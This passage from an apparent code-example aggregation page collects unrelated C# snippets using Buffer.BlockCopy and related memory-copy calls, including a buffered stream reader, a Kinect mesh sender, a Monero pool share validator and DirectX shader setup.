                            if ((startIdx + Data.Length > 0) || (Data.Length * 2 <= 16384 && startIdx + Data.Length * 2 > 0))
                            {
                                endIdx = End;
                            }
                        }

                        // we know we'll have to start reading here
                        readOffset = offset;

                        // if the end of the request is before the start of our buffer...
                        if (endIdx < 0)
                        {
                            // ... just truncate and move on
                            Truncate();

                            // set up our read parameters
                            BaseOffset = offset;
                            startIdx   = 0;
                            endIdx     = count;

                            // how much do we need to read?
                            readCount = count;
                        }
                        else // i.e., endIdx >= 0
                        {
                            // we have overlap with existing data...  save as much as possible
                            moveCount = -endIdx;
                            readCount = -startIdx;
                        }
                    }
                    else // i.e., startIdx >= 0
                    {
                        // we only get to here if at least one byte of the request is past the end of the read data
                        // start with the simplest scenario and work our way up

                        // 1) We just need to fill the buffer a bit more
                        if (endIdx < Data.Length)
                        {
                            readCount  = endIdx - End;
                            readStart  = End;
                            readOffset = BaseOffset + readStart;
                        }
                        // 2) We need to discard some bytes, then fill the buffer
                        else if (endIdx - DiscardCount < Data.Length)
                        {
                            moveCount  = DiscardCount;
                            readStart  = End;
                            readCount  = endIdx - readStart;
                            readOffset = BaseOffset + readStart;
                        }
                        // 3) We need to expand the buffer to hold all the existing & requested data
                        else if (Data.Length * 2 <= 16384)
                        {
                            // by definition, we discard
                            moveCount  = DiscardCount;
                            readStart  = End;
                            readCount  = endIdx - End;
                            readOffset = BaseOffset + readStart;
                        }
                        // 4) We have to throw away some data that hasn't been discarded
                        else
                        {
                            // just truncate
                            Truncate();

                            // set up our read parameters
                            BaseOffset = offset;
                            readOffset = offset;
                            startIdx   = 0;
                            endIdx     = count;

                            // how much do we have to read?
                            readCount = count;
                        }
                    }

                    #endregion

                    #region Buffer Resizing & Data Moving

                    if (endIdx - moveCount > Data.Length || readStart + readCount - moveCount > Data.Length)
                    {
                        var newSize = Data.Length * 2;
                        while (newSize < endIdx - moveCount)
                        {
                            newSize *= 2;
                        }

                        var newBuf = new byte[newSize];
                        if (moveCount < 0)
                        {
                            // reverse copy
                            Buffer.BlockCopy(Data, 0, newBuf, -moveCount, End + moveCount);

                            DiscardCount = 0;
                        }
                        else
                        {
                            // forward or neutral copy
                            Buffer.BlockCopy(Data, moveCount, newBuf, 0, End - moveCount);

                            DiscardCount -= moveCount;
                        }
                        Data = newBuf;
                    }
                    else if (moveCount != 0)
                    {
                        if (moveCount > 0)
                        {
                            // forward move
                            Buffer.BlockCopy(Data, moveCount, Data, 0, End - moveCount);

                            DiscardCount -= moveCount;
                        }
                        else
                        {
                            // backward move
                            for (int i = 0, srcIdx = Data.Length - 1, destIdx = Data.Length - 1 - moveCount; i < moveCount; i++, srcIdx--, destIdx--)
                            {
                                Data[destIdx] = Data[srcIdx];
                            }

                            DiscardCount = 0;
                        }
                    }

                    BaseOffset += moveCount;
                    readStart  -= moveCount;
                    startIdx   -= moveCount;
                    endIdx     -= moveCount;
                    End        -= moveCount;

                    #endregion

                    #region Buffer Filling

                    lock (reader._readLock)
                    {
                        if (readCount > 0 && reader._source.Position != readOffset && readOffset < reader._eofOffset)
                        {
                            if (reader._canSeek)
                            {
                                try
                                {
                                    reader._source.Position = readOffset;
                                }
                                catch (EndOfStreamException)
                                {
                                    reader._eofOffset = reader._source.Length;
                                    readCount         = 0;
                                }
                            }
                            else
                            {
                                // ugh, gotta read bytes until we've reached the desired offset
                                var seekCount = readOffset - reader._source.Position;
                                while (--seekCount >= 0)
                                {
                                    if (reader._source.ReadByte() == -1)
                                    {
                                        reader._eofOffset = reader._source.Position;
                                        readCount         = 0;
                                        break;
                                    }
                                }
                            }
                        }

                        while (readCount > 0 && readOffset < reader._eofOffset)
                        {
                            var temp = reader._source.Read(Data, readStart, readCount);
                            if (temp == 0)
                            {
                                break;
                            }
                            readStart  += temp;
                            readOffset += temp;
                            readCount  -= temp;
                        }

                        if (readStart > End)
                        {
                            End = readStart;
                        }

                        if (End < endIdx)
                        {
                            // we didn't get a full read...
                            count = Math.Max(0, End - startIdx);
                        }
                        // NB: if desired, switch to "minimal reads" by commenting-out this clause
                        else if (End < Data.Length)
                        {
                            // try to finish filling the buffer
                            var temp = reader._source.Read(Data, End, Data.Length - End);
                            End += temp;
                        }
                    }

                    #endregion
                }

                return(startIdx);
            }
Exemplo n.º 51
0
        public static void ConvertFloatsToULongs(float[] a_in, int a_index_in, int a_length, ulong[] a_out, int a_index_out)
        {
            Check(a_in, sizeof(float), a_out, sizeof(ulong), a_index_in, a_length, a_index_out);

            Buffer.BlockCopy(a_in, a_index_in, a_out, a_index_out * sizeof(ulong), a_length * sizeof(float));
        }
Exemplo n.º 52
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <param name="values"></param>
 /// <param name="valueOffset"></param>
 /// <param name="len"></param>
 public void WriteBytesDirect(long address, long offset, IntPtr values, int valueOffset, int len)
 {
     Buffer.MemoryCopy((void *)(values + valueOffset), (void *)(new IntPtr(address + offset)), len, len);
 }
Exemplo n.º 53
0
    private void RefreshData(ushort[] depthData, int colorWidth, int colorHeight)
    {
        var frameDesc = _Sensor.DepthFrameSource.FrameDescription;

        ColorSpacePoint[]  colorSpace  = new ColorSpacePoint[depthData.Length];
        CameraSpacePoint[] cameraSpace = new CameraSpacePoint[depthData.Length];
        _Mapper.MapDepthFrameToColorSpace(depthData, colorSpace);
        _Mapper.MapDepthFrameToCameraSpace(depthData, cameraSpace);

        for (int y = 0; y < frameDesc.Height; y += _DownsampleSize)
        {
            for (int x = 0; x < frameDesc.Width; x += _DownsampleSize)
            {
                int indexX     = x / _DownsampleSize;
                int indexY     = y / _DownsampleSize;
                int smallIndex = (indexY * (frameDesc.Width / _DownsampleSize)) + indexX;
                int bigIndex   = y * frameDesc.Width + x;

                _Vertices[smallIndex].x = -cameraSpace[bigIndex].X;
                _Vertices[smallIndex].y = cameraSpace[bigIndex].Y;
                _Vertices[smallIndex].z = cameraSpace[bigIndex].Z;

                // Update UV mapping with CDRP
                var colorSpacePoint = colorSpace[bigIndex];
                _UV[smallIndex] = new Vector2(colorSpacePoint.X / colorWidth, colorSpacePoint.Y / colorHeight);
            }
        }

        _Mesh.vertices  = _Vertices;
        _Mesh.uv        = _UV;
        _Mesh.triangles = _Triangles;
        _Mesh.RecalculateNormals();

        bool sendMesh = false;

        lock (readyToSendLock)
        {
            sendMesh = readyToSendMesh;
        }

        if (sendMesh)
        {
            var depthWidth  = frameDesc.Width / _DownsampleSize;
            var depthHeight = frameDesc.Height / _DownsampleSize;
            var depthCount  = depthWidth * depthHeight;

            // Breite und Höhe Tiefendaten schicken
            SendDataToClient(BitConverter.GetBytes(depthWidth));
            SendDataToClient(BitConverter.GetBytes(depthHeight));

            // Punktdaten und UV-Daten sammeln und als einzelne Nachricht schicken
            // 5 Floats (X, Y, Z, U, V)
            int    byteCount  = 5 * sizeof(float) * depthCount;
            byte[] dataToSend = new byte[byteCount];
            for (int i = 0; i < depthCount; i++)
            {
                Buffer.BlockCopy(BitConverter.GetBytes(_Vertices[i].x), 0, dataToSend, i * 5 * sizeof(float), sizeof(float));
                Buffer.BlockCopy(BitConverter.GetBytes(_Vertices[i].y), 0, dataToSend, (i * 5 + 1) * sizeof(float), sizeof(float));
                Buffer.BlockCopy(BitConverter.GetBytes(_Vertices[i].z), 0, dataToSend, (i * 5 + 2) * sizeof(float), sizeof(float));
                Buffer.BlockCopy(BitConverter.GetBytes(_UV[i].x), 0, dataToSend, (i * 5 + 3) * sizeof(float), sizeof(float));
                Buffer.BlockCopy(BitConverter.GetBytes(_UV[i].y), 0, dataToSend, (i * 5 + 4) * sizeof(float), sizeof(float));
            }

            SendDataToClient(dataToSend.ToArray());

            // Farbdaten mittels JPG komprimieren und als einzelne Nachricht schicken
            byte[] colorDataCopy = new byte[colorData.Length];
            byte[] jpgData;
            Buffer.BlockCopy(colorData, 0, colorDataCopy, 0, colorData.Length);
            // Der nachfolgende Code zur JPG-Kompression vertauscht Rot- und Blaukanal, deswegen tauschen wir ihn hier auch schonmal
            for (int y = 0; y < colorHeight; y++)
            {
                for (int x = 0; x < colorWidth; x++)
                {
                    int index = y * colorWidth * 4 + x * 4;
                    // Vertausche erstes Byte (Rot) und drittes Byte (Blau)
                    byte temp = colorDataCopy[index];
                    colorDataCopy[index]     = colorDataCopy[index + 2];
                    colorDataCopy[index + 2] = temp;
                }
            }

            try
            {
                // Quelle: https://stackoverflow.com/questions/11730373/byte-array-to-bitmap-image
                Bitmap     bitmap = new Bitmap(colorWidth, colorHeight, System.Drawing.Imaging.PixelFormat.Format32bppRgb);
                BitmapData bmData = bitmap.LockBits(new Rectangle(0, 0, colorWidth, colorHeight), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                Marshal.Copy(colorDataCopy, 0, bmData.Scan0, colorWidth * colorHeight * 4);
                bitmap.UnlockBits(bmData);

                using (var ms = new MemoryStream())
                {
                    bitmap.Save(ms, ImageFormat.Jpeg);
                    jpgData = ms.ToArray();

                    textInGui.text = "JPG length: " + jpgData.Length;

                    // Länge der Daten schicken
                    SendDataToClient(BitConverter.GetBytes(jpgData.Length));
                    SendDataToClient(jpgData);
                }

                lock (readyToSendLock)
                {
                    readyToSendMesh = false;
                }
            } catch (Exception e)
            {
                textInGui.text = e.Message;
            }
        }
    }
Exemplo n.º 54
0
 /// <summary>
 /// returns a string as array of bytes
 /// </summary>
 /// <param name="input">String value</param>
 public static byte[] ToByteArray(this string input)
 {
     var bytesArray = new byte[input.Length * sizeof(char)];
     Buffer.BlockCopy(input.ToCharArray(), 0, bytesArray, 0, bytesArray.Length);
     return bytesArray;
 }
Exemplo n.º 55
0
        /// <summary>
        /// Reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read.
        /// </summary>
        /// <param name="buffer">An array of bytes. When this method returns, the buffer contains the specified byte array with the values between <paramref name="offset"/> and (<paramref name="offset"/> + <paramref name="count"/> - 1) replaced by the bytes read from the current source.</param>
        /// <param name="offset">The zero-based byte offset in <paramref name="buffer"/> at which to begin storing the data read from the current stream.</param>
        /// <param name="count">The maximum number of bytes to be read from the current stream.</param>
        /// <returns>
        /// The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not currently available, or zero (0) if the end of the stream has been reached.
        /// </returns>
        /// <exception cref="ArgumentException">
        /// The sum of <paramref name="offset"/> and <paramref name="count"/> is larger than the buffer length.
        /// </exception>
        /// <exception cref="ArgumentNullException">
        /// <paramref name="buffer"/> is null.
        /// </exception>
        /// <exception cref="ArgumentOutOfRangeException">
        /// <paramref name="offset"/> or <paramref name="count"/> is negative.
        /// </exception>
        /// <exception cref="IOException">
        /// An I/O error occurs.
        /// </exception>
        /// <exception cref="NotSupportedException">
        /// The stream does not support reading.
        /// </exception>
        /// <exception cref="ObjectDisposedException">
        /// Methods were called after the stream was closed.
        /// </exception>
        /// <exception cref="TextConvertersException">
        /// There were too many iterations without progress during conversion.
        /// </exception>
        public override int Read(byte[] buffer, int offset, int count)
        {
            if (this.sourceOrDestination == null)
            {
                throw new ObjectDisposedException("ConverterStream");
            }

            if (this.producer == null)
            {
                throw new InvalidOperationException(Strings.ReadUnsupported);
            }

            InternalDebug.Assert(this.producer != null);

            if (null == buffer)
            {
                throw new ArgumentNullException(nameof(buffer));
            }

            if (offset > buffer.Length || offset < 0)
            {
                throw new ArgumentOutOfRangeException(nameof(offset), Strings.OffsetOutOfRange);
            }

            if (count > buffer.Length || count < 0)
            {
                throw new ArgumentOutOfRangeException(nameof(count), Strings.CountOutOfRange);
            }

            if (count + offset > buffer.Length)
            {
                throw new ArgumentOutOfRangeException(nameof(count), Strings.CountTooLarge);
            }

            if (this.inconsistentState)
            {
                throw new InvalidOperationException(Strings.ConverterStreamInInconsistentStare);
            }

            InternalDebug.Assert(this.producer != null);

            int initialCount = count;

            if (this.byteSource != null)
            {
                while (count != 0 && this.byteSource.GetOutputChunk(out byte[] chunkBuffer, out int chunkOffset, out int chunkCount))
                {
                    int bytesRead = Math.Min(chunkCount, count);

                    Buffer.BlockCopy(chunkBuffer, chunkOffset, buffer, offset, bytesRead);

                    offset += bytesRead;
                    count -= bytesRead;

                    this.byteSource.ReportOutput(bytesRead);
                }
            }

            if (0 != count)
            {
                long loopsWithoutProgress = 0;

                this.writeBuffer = buffer;
                this.writeOffset = offset;
                this.writeCount = count;
                this.inconsistentState = true;

                while (0 != this.writeCount && !this.endOfFile)
                {
                    this.producer.Run();

                    if (this.madeProgress)
                    {
                        loopsWithoutProgress = 0;
                        this.madeProgress = false;
                    }
                    else if (this.maxLoopsWithoutProgress == loopsWithoutProgress++)
                    {
                        InternalDebug.Assert(false);
                        throw new TextConvertersException(Strings.TooManyIterationsToProduceOutput);
                    }
                }

                count = this.writeCount;

                this.writeBuffer = null;
                this.writeOffset = 0;
                this.writeCount = 0;

                this.inconsistentState = false;
            }

            return initialCount - count;
        }
Exemplo n.º 56
0
        public (Share Share, string BlobHex, string BlobHash) ProcessShare(string nonce, uint workerExtraNonce, string workerHash, StratumClient worker)
        {
            Contract.Requires <ArgumentException>(!string.IsNullOrEmpty(nonce), $"{nameof(nonce)} must not be empty");
            Contract.Requires <ArgumentException>(!string.IsNullOrEmpty(workerHash), $"{nameof(workerHash)} must not be empty");
            Contract.Requires <ArgumentException>(workerExtraNonce != 0, $"{nameof(workerExtraNonce)} must not be empty");

            var context = worker.GetContextAs <MoneroWorkerContext>();

            // validate nonce
            if (!MoneroConstants.RegexValidNonce.IsMatch(nonce))
            {
                throw new StratumException(StratumError.MinusOne, "malformed nonce");
            }

            // clone template
            using (var blob = new PooledArraySegment <byte>(blobTemplate.Length))
            {
                Buffer.BlockCopy(blobTemplate, 0, blob.Array, 0, blobTemplate.Length);

                // inject extranonce
                var extraNonceBytes = BitConverter.GetBytes(workerExtraNonce.ToBigEndian());
                Buffer.BlockCopy(extraNonceBytes, 0, blob.Array, (int)BlockTemplate.ReservedOffset, extraNonceBytes.Length);

                // inject nonce
                var nonceBytes = nonce.HexToByteArray();
                Buffer.BlockCopy(nonceBytes, 0, blob.Array, MoneroConstants.BlobNonceOffset, nonceBytes.Length);

                // convert
                var blobConverted = LibCryptonote.ConvertBlob(blob.Array, blobTemplate.Length);
                if (blobConverted == null)
                {
                    throw new StratumException(StratumError.MinusOne, "malformed blob");
                }

                // hash it
                using (var hashSeg = hashSlow(blobConverted))
                {
                    var hash = hashSeg.ToHexString();
                    if (hash != workerHash)
                    {
                        throw new StratumException(StratumError.MinusOne, "bad hash");
                    }

                    // check difficulty
                    var headerValue       = hashSeg.ToBigInteger();
                    var shareDiff         = (double)new BigRational(MoneroConstants.Diff1b, headerValue);
                    var stratumDifficulty = context.Difficulty;
                    var ratio             = shareDiff / stratumDifficulty;
                    var isBlockCandidate  = shareDiff >= BlockTemplate.Difficulty;

                    // test if share meets at least workers current difficulty
                    if (!isBlockCandidate && ratio < 0.99)
                    {
                        // check if share matched the previous difficulty from before a vardiff retarget
                        if (context.VarDiff?.LastUpdate != null && context.PreviousDifficulty.HasValue)
                        {
                            ratio = shareDiff / context.PreviousDifficulty.Value;

                            if (ratio < 0.99)
                            {
                                throw new StratumException(StratumError.LowDifficultyShare, $"low difficulty share ({shareDiff})");
                            }

                            // use previous difficulty
                            stratumDifficulty = context.PreviousDifficulty.Value;
                        }

                        else
                        {
                            throw new StratumException(StratumError.LowDifficultyShare, $"low difficulty share ({shareDiff})");
                        }
                    }

                    using (var blockHash = ComputeBlockHash(blobConverted))
                    {
                        var result = new Share
                        {
                            BlockHeight      = BlockTemplate.Height,
                            IsBlockCandidate = isBlockCandidate,
                            BlockHash        = blockHash.ToHexString(),
                            Difficulty       = stratumDifficulty,
                        };

                        var blobHex  = blob.ToHexString();
                        var blobHash = blockHash.ToHexString();

                        return(result, blobHex, blobHash);
                    }
                }
            }
        }
Exemplo n.º 57
0
        bool InitializeShader(Device device, string vsFileName, string psFileName)
        {
            try {
                var compileVertexShaderResult = ShaderBytecode.CompileFromFile(vsFileName, "FontVertexShader", "vs_5_0", ShaderFlags.EnableStrictness);
                vertexShader = new VertexShader(device, compileVertexShaderResult.Bytecode);

                var compilePixelShaderResult = ShaderBytecode.CompileFromFile(psFileName, "FontPixelShader", "ps_5_0", ShaderFlags.EnableStrictness);
                pixelShader = new PixelShader(device, compilePixelShaderResult.Bytecode);

                var inputElements = new[] {
                    new InputElement("POSITION", 0, Format.R32G32B32_Float, 0, 0, InputClassification.PerVertexData, 0),
                    new InputElement("TEXCOORD", 0, Format.R32G32_Float, 12, 0, InputClassification.PerVertexData, 0)
                };

                inputLayout = new InputLayout(device, compileVertexShaderResult.Bytecode, inputElements);

                compileVertexShaderResult.Dispose();
                compilePixelShaderResult.Dispose();

                var matrixBufferDescription = new BufferDescription {
                    Usage               = ResourceUsage.Default,
                    SizeInBytes         = Utilities.SizeOf <ConstantBufferType>(),
                    BindFlags           = BindFlags.ConstantBuffer,
                    CpuAccessFlags      = CpuAccessFlags.None,
                    OptionFlags         = ResourceOptionFlags.None,
                    StructureByteStride = 0
                };

                constantBuffer = Buffer.Create(device, new[] { new ConstantBufferType() }, matrixBufferDescription);

                var samplerStateDescription = new SamplerStateDescription {
                    Filter             = Filter.MinMagMipLinear,
                    AddressU           = TextureAddressMode.Wrap,
                    AddressV           = TextureAddressMode.Wrap,
                    AddressW           = TextureAddressMode.Wrap,
                    MipLodBias         = 0.0f,
                    MaximumAnisotropy  = 1,
                    ComparisonFunction = Comparison.Always,
                    BorderColor        =
                    {
                        A = 0,
                        R = 0,
                        G = 0,
                        B = 0
                    },
                    MinimumLod = 0,
                    MaximumLod = float.MaxValue
                };

                samplerState = new SamplerState(device, samplerStateDescription);

                var pixelBufferDescription = new BufferDescription {
                    Usage               = ResourceUsage.Default,
                    SizeInBytes         = Utilities.SizeOf <PixelBufferType>(),
                    BindFlags           = BindFlags.ConstantBuffer,
                    CpuAccessFlags      = CpuAccessFlags.None,
                    OptionFlags         = ResourceOptionFlags.None,
                    StructureByteStride = 0
                };

                pixelBuffer = Buffer.Create(device, new[] { new PixelBufferType() }, pixelBufferDescription);
            } catch { return(false); }
            return(true);
        }
Exemplo n.º 58
0
        /// <summary>
        /// Writes the buffer to the stream
        /// </summary>
        /// <param name="buffer">Source buffer</param>
        /// <param name="offset">Start position</param>
        /// <param name="count">Number of bytes to write</param>
        /// <exception cref="ArgumentNullException">buffer is null</exception>
        /// <exception cref="ArgumentOutOfRangeException">offset or count is negative</exception>
        /// <exception cref="ArgumentException">buffer.Length - offset is not less than count</exception>
        /// <exception cref="ObjectDisposedException">Object has been disposed</exception>
        public override void Write(byte[] buffer, int offset, int count)
        {
            this.CheckDisposed();
            if (buffer == null)
            {
                throw new ArgumentNullException(nameof(buffer));
            }

            if (offset < 0)
            {
                throw new ArgumentOutOfRangeException(nameof(offset), offset,
                                                      "Offset must be in the range of 0 - buffer.Length-1");
            }

            if (count < 0)
            {
                throw new ArgumentOutOfRangeException(nameof(count), count, "count must be non-negative");
            }

            if (count + offset > buffer.Length)
            {
                throw new ArgumentException("count must be greater than buffer.Length - offset");
            }

            int  blockSize = this.memoryManager.BlockSize;
            long end       = (long)this.position + count;

            // Check for overflow
            if (end > MaxStreamLength)
            {
                throw new IOException("Maximum capacity exceeded");
            }

            long requiredBuffers = (end + blockSize - 1) / blockSize;

            if (requiredBuffers * blockSize > MaxStreamLength)
            {
                throw new IOException("Maximum capacity exceeded");
            }

            this.EnsureCapacity((int)end);

            if (this.largeBuffer == null)
            {
                int bytesRemaining = count;
                int bytesWritten   = 0;
                var blockAndOffset = this.GetBlockAndRelativeOffset(this.position);

                while (bytesRemaining > 0)
                {
                    byte[] currentBlock         = this.blocks[blockAndOffset.Block];
                    int    remainingInBlock     = blockSize - blockAndOffset.Offset;
                    int    amountToWriteInBlock = Math.Min(remainingInBlock, bytesRemaining);

                    Buffer.BlockCopy(buffer, offset + bytesWritten, currentBlock, blockAndOffset.Offset,
                                     amountToWriteInBlock);

                    bytesRemaining -= amountToWriteInBlock;
                    bytesWritten   += amountToWriteInBlock;

                    ++blockAndOffset.Block;
                    blockAndOffset.Offset = 0;
                }
            }
            else
            {
                Buffer.BlockCopy(buffer, offset, this.largeBuffer, this.position, count);
            }
            this.position = (int)end;
            this.length   = Math.Max(this.position, this.length);
        }
Exemplo n.º 59
0
 public SharedData(GraphicsDevice device)
 {
     VertexBuffer         = ToDispose(Buffer.Vertex.New(device, QuadsVertices));
     VertexBufferFullQuad = ToDispose(Buffer.Vertex.New(device, FullQuadsVertices));
     VertexInputLayout    = VertexInputLayout.FromBuffer(0, VertexBuffer);
 }
Exemplo n.º 60
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <param name="values"></param>
 /// <param name="valueoffset"></param>
 /// <param name="len"></param>
 public void WriteMemoryDirect(long address, long offset, Memory <byte> values, int valueoffset, int len)
 {
     Buffer.MemoryCopy((void *)((IntPtr)values.Pin().Pointer + valueoffset), (void *)(new IntPtr(address + offset)), len, len);
 }